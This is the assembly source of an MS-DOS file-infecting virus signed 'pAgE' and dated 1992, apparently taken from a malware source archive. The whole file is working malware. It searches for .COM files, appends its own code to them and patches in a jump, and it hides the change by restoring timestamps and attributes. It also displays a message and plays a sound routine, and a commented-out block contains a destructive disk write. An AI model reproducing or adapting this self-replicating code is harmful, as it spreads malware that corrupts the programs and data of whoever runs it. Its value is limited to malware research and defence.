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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.olo.asm

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;
; <20><>Ŀ <20><>Ŀ <20><>Ŀ <20><><EFBFBD> <20><>Ŀ <20><>Ŀ <20><><EFBFBD>Ŀ
; <20><>Ĵ <20> <20> <20> <20> <20><> <20> <20> <20>
; <20> <20> <20> <20> <20><><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20> <20>
; <20>Ŀ <20><>Ŀ <20><>Ŀ <20><>Ŀ
; <20>Ŀ <20><>Ĵ <20> Ŀ <20><>
; <20><><EFBFBD><EFBFBD> <20> <20> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
;
; ...from the books of pAgE
;
.model tiny
.code
org 100h
depth_of_well equ longer_than-my_dick
my_dick:
call yump_up_and_go
yump_up_and_go: pop bp
sub bp,offset yump_up_and_go
jmp hop_over_da_shit
and_over_it_again: mov ax,3524h
int 21h
mov word ptr [bp+stash_box],bx
mov word ptr [bp+stash_box+2],es
mov ah,25h
lea dx,[bp+offset int24]
int 21h
push cs
pop es
jmp gordon_effect
hop_over_da_shit: lea si,[bp+stash_3]
mov di,100h
push di
movsw
movsb
mov byte ptr [bp+how_many],4
stupid_shit_trns: mov ah,1Ah
lea dx,[bp+new_chunk]
int 21h
mov ah,47h
mov dl,0
lea si,[bp+where_we_is]
int 21h
mov byte ptr [bp+eyelash],'\'
jmp and_over_it_again
jmp bang_bang
put_fletch_on_it proc far
yeeha_go: mov ah,0h
mov al,12h
int 10h
jmp yo_homey_1
stupid_shit_1 db 4
stupid_shit_2 dw 0
db 62h, 79h
copyright db '-->>pAgE<<--'
db '(C)1992 TuRN-THE-pAgE '
stupid_shit_5 db 'Ancient Sages'
db ' '
db ' Is one of pAgEs'
db ' '
db '$'
yo_homey_1:
push si
push di
mov si,80h
cld
call mo_stupid_shit_1
cmp byte ptr [si],0Dh
je yo_homey_4
mov cx,28h
lea di,stupid_shit_5
yo_homeyloop_2:
lodsb
cmp al,0Dh
je yo_homey_3
stosb
loop yo_homeyloop_2
yo_homey_3:
inc cx
mov al,2Eh
rep stosb
yo_homey_4:
pop di
pop si
mov dx,si
mov cx,di
mov stupid_shit_2,cx
yo_homey_5:
mov stupid_shit_1,0FFh
yo_homey_6:
add stupid_shit_1,1
mov bl,stupid_shit_1
mov cx,40
call mo_stupid_shit_2
yo_homeyloop_7:
mov al,byte ptr copyright+20h[bx]
mov ah,0eh
int 10h
inc bx
call mo_stupid_shit_3
mov dl,0FFh
mov ah,6
int 21h
jnz yo_homey_10
loop yo_homeyloop_7
cmp byte ptr copyright+20h[bx],24h
je yo_homey_5
jmp short yo_homey_6
put_fletch_on_it endp
mo_stupid_shit_1 proc near
yo_homey_8:
inc si
cmp byte ptr [si],20h
je yo_homey_8
retn
mo_stupid_shit_1 endp
mo_stupid_shit_2 proc near
push ax
push bx
push cx
push dx
mov dx,si
mov cx,di
mov ah,0Fh
int 010h
mov ax,1210h
mov bx,55h
int 10h
pop dx
pop cx
pop bx
pop ax
retn
mo_stupid_shit_2 endp
mo_stupid_shit_3 proc near
push cx
mov cx,258h
yo_homeyloop_9:
loop yo_homeyloop_9
pop cx
retn
mo_stupid_shit_3 endp
yo_homey_10:
call mo_stupid_shit_2
mov cx,4Fh
yo_homeyloop_11:
mov al,20h
mov ah,0Eh
int 10h
loop yo_homeyloop_11
mov ah,1
mov cx,stupid_shit_2
int 10h
jmp bang_bang
call fuck_da_monkey
gordon_effect: lea dx,[bp+what_we_wants]
mov ah,4eh
mov cx,7h
findfirstyump_up_and_go: nop
int 21h
mov al,0h
call tear_it_open
xchg ax,bx
mov ah,3fh
lea dx,[bp+muffler]
mov cx,1ah
int 21h
mov ah,3eh
int 21h
check_it_out:
mov ax,word ptr [bp+new_chunk+1Ah]
cmp ax,(longer_than-my_dick)
jb find_next
cmp ax,65535-(longer_than-my_dick)
ja find_next
mov bx,word ptr [bp+muffler+1]
add bx,longer_than-my_dick+3
cmp ax,bx
je find_next
jmp yo_over_here
find_next:
mov ah,4fh
jmp short findfirstyump_up_and_go
mov ah,3bh
lea dx,[bp+dot_dot]
int 21h
jnc gordon_effect
mov bx,word ptr [bp+muffler+1]
add bx,longer_than-my_dick+3
yo_over_here: mov cx,3
sub ax,cx
lea si,[bp+offset muffler]
lea di,[bp+offset stash_3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
finishgordon_effection:
push cx
xor cx,cx
call attributes
mov al,2
call tear_it_open
mov ah,40h
lea dx,[bp+muffler]
pop cx
int 21h
mov ax,4202h
xor cx,cx
cwd
int 21h
mov ah,40h
lea dx,[bp+my_dick]
mov cx,longer_than-my_dick
int 21h
mov ax,5701h
mov cx,word ptr [bp+new_chunk+16h]
mov dx,word ptr [bp+new_chunk+18h]
int 21h
mov ah,3eh
int 21h
mov ch,0
mov cl,byte ptr [bp+new_chunk+15h]
call attributes
leave_heeruh_virus:
mov ax,2524h
lds dx,[bp+offset stash_box]
int 21h
push cs
pop ds
olley: call put_fletch_on_it
tear_it_open proc near
mov ah,3dh
lea dx,[bp+new_chunk+30]
int 21h
xchg ax,bx
ret
endp tear_it_open
attributes proc near
mov ax,4301h
lea dx,[bp+new_chunk+30]
int 21h
ret
endp attributes
int24:
mov al,3
iret
yumpem_keep dd ?
how_many db ?
davey_jones dd ?
yumpem_keep2 db ?
stash_3 db 0cdh,20h,0
davey_jones2 dd ?
what_we_wants db "*.COM",0
muffler db 1ah dup (?)
stash_box dd ?
eyelash db ?
where_we_is db 64 dup (?)
new_chunk db 43 dup (?)
dot_dot db '..',0
;<><><><><><><><><><><><><><><><><><><><><><><><><><>
; Borrowed this segment from the VCL
;<><><><><><><><><><><><><><><><><><><><><><><><><><>
bang_bang proc near
mov cx,0025h
new_shot: push cx
mov dx,0140h
mov bx,0100h
in al,061h
and al,11111100b
fire_shot: xor al,2
out 061h,al
add dx,09248h
mov cl,3
ror dx,cl
mov cx,dx
and cx,01FFh
or cx,10
shoot_pause: loop shoot_pause
dec bx
jnz fire_shot
and al,11111100b
out 061h,al
mov bx,0002h
xor ah,ah
int 1Ah
add bx,dx
shoot_delay: int 1Ah
cmp dx,bx
jne shoot_delay
pop cx
loop new_shot
endp bang_bang
fuck_da_monkey proc near
;xor ah,ah
;int 1Ah
;xchg dx,ax
;mov dx,0FFh
out_loop: ;out dx,al
;dec dx
;jne out_loop
;mov al,0002h
;mov cx,3
;lea dx,stupid_shit1_file
;int 26h
;cli
;hlt
;jmp short $
endp fuck_da_monkey
int 20h
longer_than:
end my_dick

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